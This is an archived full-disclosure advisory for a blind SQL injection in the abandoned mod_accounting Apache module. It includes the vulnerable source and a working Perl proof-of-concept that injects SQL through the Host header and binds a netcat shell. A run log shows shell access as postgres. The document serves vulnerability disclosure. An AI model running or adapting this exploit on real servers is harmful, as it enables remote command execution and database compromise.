[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [Full-disclosure] mod_accounting Blind SQL Injection (DS-2013-006)
From:       Wire Ghoul <wireghoul () gmail ! com>
Date:       2013-09-25 22:28:28
Message-ID: CAFz4UQ_CofU4qqpf3rRXaT2_D=bqA=r2FaWLcDLjxWY9GJSG-A () mail ! gmail ! com
[Download RAW message or body]

[Attachment #2 (multipart/alternative)]


   - Affected Vendor: http://sourceforge.net/projects/mod-acct/files/
   - Affected Software: mod_accounting
   - Affected Version: 0.5. Other earlier versions may be affected.
   - Issue type: Blind SQL injection
   - Release Date: 20 Sep 2013
   - Discovered by: Eldar "Wireghoul" Marcussen
   - CVE Identifier: CVE-2013-5697
   - Issue status: Abandoned software, no patch available

Summary

mod_accounting is a traffic accounting module for Apache 1.3.x which
records traffic numbers in a database. Both MySQL and PostgreSQL database
types are supported. It supports arbitrary database designs as traffic
recording is performed via a user defined query in the Apache configuration
using placeholders for received values. The following is an example
configuration:

<VirtualHost _default_:*>
DocumentRoot "/var/www/"
Options Indexes
AccountingQueryFmt "INSERT INTO accounting VALUES( current_time, %r, %s,
'%u', '%h' );"
AccountingDatabase accounting
AccountingDatabaseDriver postgres
AccountingDBHost localhost 5432
AccountingLoginInfo acct acct
</VirtualHost>

As user supplied values are not sanitised before being used in the
placeholder values it is possible for an attacker to supply malicous values
to perform blind SQL injection.


Description

The SQL injection occurs due to a user supplied HTTP header being used in
the query without sanitisation. The module uses a simple string
concatination approach to modify the placeholders in the user defined query
before sending it to the database. This code can be located in
mod_accounting.c:

409: // build the query string from the template
410: while( ptr ) {
411:     char *next;
412:
413:     next = strchr( ptr, '%' );
414:
415:     if( next ) {
416:         char       tmp[ 2 ];
417:
418:         *next++ = '\0';
419:
420:         switch( *next++ ) {
421:
422:             case 'h':
423:                 query = ap_pstrcat( p, query, ptr, cfg->ServerName ?
cfg->ServerName : "-", NULL );
424:                 break;
425:
426:             case 's':
427:                 query = ap_pstrcat( p, query, ptr, sent, NULL );
428:                 break;
429:
430:             case 'r':
431:                 query = ap_pstrcat( p, query, ptr, recvd, NULL );
432:                 break;
433:
434:             case 'u':
435:                 query = ap_pstrcat( p, query, ptr, get_user( r ), NULL
);
436:                 break;
437:
438:             default:
439:                 tmp[0] = next[ -1 ];
440:                 tmp[1] = '\0';
441:
442:                 query = ap_pstrcat( p, query, ptr, tmp, NULL );
443:                 break;
444:         }
445:
446:         next[ -2 ] = '%';
447:
448:     } else
449:         query = ap_pstrcat( p, query, ptr, NULL );
450:
451:     ptr = next;
452: }
453:
454: ( *DBDrivers[ cfg->DBDriver ].Query )( cfg, server, p, query );
455:
456: cfg->Received = cfg->Sent = 0;

It is important to note that the database query takes place after the page
has been served, hence there is no easy way to determine if a particular
injection method was successful apart from using an out of band approach.
However, as the injection occurs in an insert statement it is likely that
the successful injection vector is one of about a handful of likely
candidates.


Impact

An attacker is only limited by the capabilities of the database
configuration and may be able to read, add, alter or delete data from your
database(s), read or write arbitrary files or even execute commands on the
server given a privileged database account.


Proof of Concept

root@bt:~/sploit-dev# cat mod_accounting-rce.pl
#!/usr/bin/perl
# PoC of blind SQL injection in the mod_accounting/0.5 Apache module
# Injection can occur via the Host header
# As the injection occurs in a user defined insert statement a bit of trial
and error is required
# Database operations occurs asyncronous to page response so timing attacks
wont work
# This one is completely blind
# DB can be mysql or postgres, this PoC only covers postgres
# PoC executes netcat to listen on port 4444 (requires dba privileges)
use IO::Socket::INET;

print "#----------------------------------------------#\n";
print "| mod_accounting/0.5 PoC exploit by \@Wireghoul |\n";
print "|          www.justanotherhacker.com           |\n";
print "#----------Command execution via SQLi----------#\n";
print "[*] Enumerating blind injection vectors:\n";

my @endings = ("'));", '"));', "));", "');", '");', ");", "';", '";',";");
# These should terminate most insert statements
#my @endings = ( "');" );
my $shell = 'nc -lnp 4444 -e /bin/sh';
my $cnt = 0;
my $content = "CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
'/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('$shell');";
foreach $end (@endings) {
  $cnt++;
  my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]") or die "Unable to
connect to $ARGV[0]:$ARGV[1]: $!\n";
  my $str = "GET / HTTP/1.1\r\nHost: $ARGV[0]$cnt$end $content --
\r\n\r\n"; # from mysql.user into outfile '/tmp/pocpoc$cnt.txt'; --
\r\n\r\n";
  print "[-] Trying $end\n";
  print $sock $str;
  #print "Sent $end\n";
  close ($sock);
}
print "[*] Done, remote server should have executed $shell\n";


Execution of PoC:
--------------------------------------------------
root@bt:~/sploit-dev# nc 192.168.58.138 4444
(UNKNOWN) [192.168.58.138] 4444 (?) : Connection refused
root@bt:~/sploit-dev# perl mod_accounting-rce.pl 192.168.58.138 80
#----------------------------------------------#
| mod_accounting/0.5 PoC exploit by @Wireghoul |
|          www.justanotherhacker.com           |
#----------Command execution via SQLi----------#
[*] Enumerating blind injection vectors:
[-] Trying '));
[-] Trying "));
[-] Trying ));
[-] Trying ');
[-] Trying ");
[-] Trying );
[-] Trying ';
[-] Trying ";
[-] Trying ;
[*] Done, remote server should have executed nc -lnp 4444 -e /bin/sh
root@bt:~/sploit-dev# nc 192.168.58.138 4444
pwd
/var/lib/postgres/data/base/17142
id
uid=101(postgres) gid=104(postgres) groups=104(postgres)
hostname
sarge
^C

Solution

As the module is no longer supported, discontinue the use of this module.


Response Timeline

   - 03/09/2013 - Vendor notified
   - 03/09/2013 - Vendor acknowledge vulnerability
   - 04/09/2013 - Project download removed and website updated to reflect
   new status
   - 20/09/2013 - Advisory released

[Attachment #5 (text/html)]

<div dir="ltr"><ul><li>Affected Vendor: <a \
href="http://sourceforge.net/projects/mod-acct/files/">http://sourceforge.net/projects/mod-acct/files/</a></li><li>Affected \
Software: mod_accounting</li><li>Affected Version: 0.5. Other earlier versions may be \
affected.</li> <li>Issue type: Blind SQL injection</li><li>Release Date: 20 Sep \
2013</li><li>Discovered by: Eldar &quot;Wireghoul&quot; Marcussen</li><li>CVE Identifier: \
CVE-2013-5697</li><li>Issue status: Abandoned software, no patch available</li> </ul>
<h3>Summary</h3>
<p>mod_accounting is a traffic accounting module for Apache 1.3.x which 
records traffic numbers in a database. Both MySQL and PostgreSQL 
database types are supported. It supports arbitrary database designs as 
traffic recording is performed via a user defined query in the Apache 
configuration using placeholders for received values. The following is 
an example configuration:</p>
<blockquote>
<p><span style="font-size:larger"><code>&lt;VirtualHost _default_:*&gt;<br>
DocumentRoot &quot;/var/www/&quot;<br>
Options Indexes<br>
AccountingQueryFmt &quot;INSERT INTO accounting VALUES( current_time, %r, %s, &#39;%u&#39;, \
&#39;%h&#39; );&quot;<br> AccountingDatabase accounting<br>
AccountingDatabaseDriver postgres<br>
AccountingDBHost localhost 5432<br>
AccountingLoginInfo acct acct<br>
&lt;/VirtualHost&gt;</code></span></p>
</blockquote>
<p>As user supplied values are not sanitised before being used in the 
placeholder values it is possible for an attacker to supply malicous 
values to perform blind SQL injection.</p>
<p> </p>

<h3>Description</h3>
<p>The SQL injection occurs due to a user supplied HTTP header being 
used in the query without sanitisation. The module uses a simple string 
concatination approach to modify the placeholders in the user defined 
query before sending it to the database. This code can be located in 
mod_accounting.c:</p>
<blockquote>
<p><span style="font-size:larger"><code>409: // build the query string from the template<br>
410: while( ptr ) {<br>
411:     char *next;<br>
412:                 <br>
413:     next = strchr( ptr, &#39;%&#39; );<br>
414:<br>
415:     if( next ) {<br>
416:         char       tmp[ 2 ];<br>
417:         <br>
418:         *next++ = &#39;\0&#39;;<br>
419:<br>
420:         switch( *next++ ) {<br>
421:<br>
422:             case &#39;h&#39;:<br>
423:                 query = ap_pstrcat( p, query, ptr, cfg-&gt;ServerName ? cfg-&gt;ServerName \
                : &quot;-&quot;, NULL );<br>
424:                 break;<br>
425:<br>
426:             case &#39;s&#39;:<br>
427:                 query = ap_pstrcat( p, query, ptr, sent, NULL );<br>
428:                 break;<br>
429:<br>
430:             case &#39;r&#39;:<br>
431:                 query = ap_pstrcat( p, query, ptr, recvd, NULL );<br>
432:                 break;<br>
433:<br>
434:             case &#39;u&#39;:<br>
435:                 query = ap_pstrcat( p, query, ptr, get_user( r ), NULL );<br>
436:                 break;<br>
437:<br>
438:             default:<br>
439:                 tmp[0] = next[ -1 ];<br>
440:                 tmp[1] = &#39;\0&#39;;<br>
441:<br>
442:                 query = ap_pstrcat( p, query, ptr, tmp, NULL );<br>
443:                 break;<br>
444:         }<br>
445:<br>
446:         next[ -2 ] = &#39;%&#39;;<br>
447:<br>
448:     } else<br>
449:         query = ap_pstrcat( p, query, ptr, NULL );<br>
450:<br>
451:     ptr = next;<br>
452: }<br>
453:<br>
454: ( *DBDrivers[ cfg-&gt;DBDriver ].Query )( cfg, server, p, query );<br>
455:<br>
456: cfg-&gt;Received = cfg-&gt;Sent = 0;<br>
</code></span></p>
</blockquote>
<p>It is important to note that the database query takes place after the
 page has been served, hence there is no easy way to determine if a 
particular injection method was successful apart from using an out of 
band approach. However, as the injection occurs in an insert statement 
it is likely that the successful injection vector is one of about a 
handful of likely candidates.</p>
<blockquote> </blockquote>
<p> </p>
<h3>Impact</h3>
<p>An attacker is only limited by the capabilities of the database 
configuration and may be able to read, add, alter or delete data from 
your database(s), read or write arbitrary files or even execute commands
 on the server given a privileged database account.</p>
<p> </p>
<h3>Proof of Concept</h3>
<blockquote>
<p><span style="font-size:larger"><code>root@bt:~/sploit-dev# cat <a \
href="http://mod_accounting-rce.pl">mod_accounting-rce.pl</a><br> #!/usr/bin/perl<br>
# PoC of blind SQL injection in the mod_accounting/0.5 Apache module<br>
# Injection can occur via the Host header<br>
# As the injection occurs in a user defined insert statement a bit of trial and error is \
required<br> # Database operations occurs asyncronous to page response so timing attacks wont \
work<br> # This one is completely blind<br>
# DB can be mysql or postgres, this PoC only covers postgres<br>
# PoC executes netcat to listen on port 4444 (requires dba privileges)<br>
use IO::Socket::INET;<br>
<br>
print &quot;#----------------------------------------------#\n&quot;;<br>
print &quot;| mod_accounting/0.5 PoC exploit by \@Wireghoul |\n&quot;;<br>
print &quot;|          <a href="http://www.justanotherhacker.com">www.justanotherhacker.com</a> \
|\n&quot;;<br> print &quot;#----------Command execution via SQLi----------#\n&quot;;<br>
print &quot;[*] Enumerating blind injection vectors:\n&quot;;<br>
<br>
my @endings = (&quot;&#39;));&quot;, &#39;&quot;));&#39;, &quot;));&quot;, &quot;&#39;);&quot;, \
&#39;&quot;);&#39;, &quot;);&quot;, &quot;&#39;;&quot;, &#39;&quot;;&#39;,&quot;;&quot;); # \
These should terminate most insert statements<br>

#my @endings = ( &quot;&#39;);&quot; );<br>
my $shell = &#39;nc -lnp 4444 -e /bin/sh&#39;;<br>
my $cnt = 0;<br>
my $content = &quot;CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
 &#39;/lib/libc.so.6&#39;, &#39;system&#39; LANGUAGE &#39;C&#39; STRICT; SELECT 
system(&#39;$shell&#39;);&quot;;<br>
foreach $end (@endings) {<br>
  $cnt++;<br>
  my $sock = IO::Socket::INET-&gt;new(&quot;$ARGV[0]:$ARGV[1]&quot;) or die &quot;Unable to \
connect to $ARGV[0]:$ARGV[1]: $!\n&quot;;<br>  my $str = &quot;GET / HTTP/1.1\r\nHost: \
$ARGV[0]$cnt$end $content --  \r\n\r\n&quot;; # from mysql.user into outfile \
&#39;/tmp/pocpoc$cnt.txt&#39;; --  \r\n\r\n&quot;;<br>
  print &quot;[-] Trying $end\n&quot;;<br>
  print $sock $str;<br>
  #print &quot;Sent $end\n&quot;;<br>
  close ($sock);<br>
}<br>
print &quot;[*] Done, remote server should have executed $shell\n&quot;;<br>
<br>
<br>
Execution of PoC:<br>
--------------------------------------------------<br>
root@bt:~/sploit-dev# nc 192.168.58.138 4444<br>
(UNKNOWN) [192.168.58.138] 4444 (?) : Connection refused<br>
root@bt:~/sploit-dev# perl <a href="http://mod_accounting-rce.pl">mod_accounting-rce.pl</a> \
192.168.58.138 80<br> #----------------------------------------------#<br>
> mod_accounting/0.5 PoC exploit by @Wireghoul |<br>
> <a href="http://www.justanotherhacker.com">www.justanotherhacker.com</a>           |<br>
#----------Command execution via SQLi----------#<br>
[*] Enumerating blind injection vectors:<br>
[-] Trying &#39;));<br>
[-] Trying &quot;));<br>
[-] Trying ));<br>
[-] Trying &#39;);<br>
[-] Trying &quot;);<br>
[-] Trying );<br>
[-] Trying &#39;;<br>
[-] Trying &quot;;<br>
[-] Trying ;<br>
[*] Done, remote server should have executed nc -lnp 4444 -e /bin/sh<br>
root@bt:~/sploit-dev# nc 192.168.58.138 4444<br>
pwd<br>
/var/lib/postgres/data/base/17142<br>
id<br>
uid=101(postgres) gid=104(postgres) groups=104(postgres)<br>
hostname<br>
sarge<br>
^C</code></span></p>
</blockquote>
<h3>Solution</h3>
<p>As the module is no longer supported, discontinue the use of this module.</p>
<p> </p>
<h3>Response Timeline</h3>
<ul><li>03/09/2013 - Vendor notified</li><li>03/09/2013 - Vendor acknowledge \
vulnerability</li><li>04/09/2013 - Project download removed and website updated to reflect new \
status</li><li>20/09/2013 - Advisory released</li> </ul></div>



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic